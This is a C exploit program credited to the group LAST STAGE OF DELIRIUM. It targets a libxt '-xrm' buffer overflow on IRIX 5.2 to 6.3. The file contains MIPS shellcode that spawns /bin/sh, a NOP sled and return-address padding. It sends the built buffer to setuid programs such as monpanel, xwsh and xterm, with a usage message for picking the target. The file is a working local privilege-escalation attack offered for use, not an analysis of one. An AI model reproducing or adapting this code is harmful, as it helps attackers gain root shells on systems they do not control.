/*## copyright LAST STAGE OF DELIRIUM jan 1997 poland        *://lsd-pl.net/ #*/
/*## libxt.so -xrm                                                           #*/

#define NOPNUM 8000
#define ADRNUM 2000
#define PCHNUM 2000
#define TMPNUM 2000
#define ALLIGN 3

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[20000],adr[4],pch[4],tmp[4],*b;
    int i,n=-1;

    printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland  //lsd-pl.net/\n");
    printf("libxt.so -xrm for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    if(argc!=2){
        printf("usage: %s {monpanel|printers|dmplay|datman|xwsh|cdplayer|"
            "xconsole|xterm}\n",argv[0]);
        exit(-1);
    }
    if(!strcmp(argv[1],"monpanel")) n=0;
    if(!strcmp(argv[1],"printers")) n=1;
    if(!strcmp(argv[1],"dmplay")) n=2;
    if(!strcmp(argv[1],"datman")) n=3;
    if(!strcmp(argv[1],"xwsh")) n=4;
    if(!strcmp(argv[1],"cdplayer")) n=5;
    if(!strcmp(argv[1],"xconsole")) n=6;
    if(!strcmp(argv[1],"xterm")) n=7;
    if(n==-1) exit(-1);

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+15000+8000;
    *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+15000+15300+1000;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+15000+15300+1000+2000;

    b=buffer;
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b++=0xff;
    *b++=0xff;
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    switch(n){
    case 0: execl("/usr/sbin/monpanel","lsd","-xrm",buffer,0);
    case 1: execl("/usr/sbin/printers","lsd","-xrm",buffer,0);
    case 2: execl("/usr/sbin/dmplay","lsd","-xrm",buffer,0);
    case 3: execl("/usr/sbin/datman","lsd","-xrm",buffer,0);
    case 4: execl("/usr/sbin/xwsh","lsd","-xrm",buffer,0);
    case 5: execl("/usr/bin/X11/cdplayer","lsd","-xrm",buffer,0);
    case 6: execl("/usr/bin/X11/xconsole","lsd","-xrm",buffer,0);
    case 7: execl("/usr/bin/X11/xterm","lsd","-xrm",buffer,0);
    }
}
/*                    www.hack.co.za           [13 August 2000]*/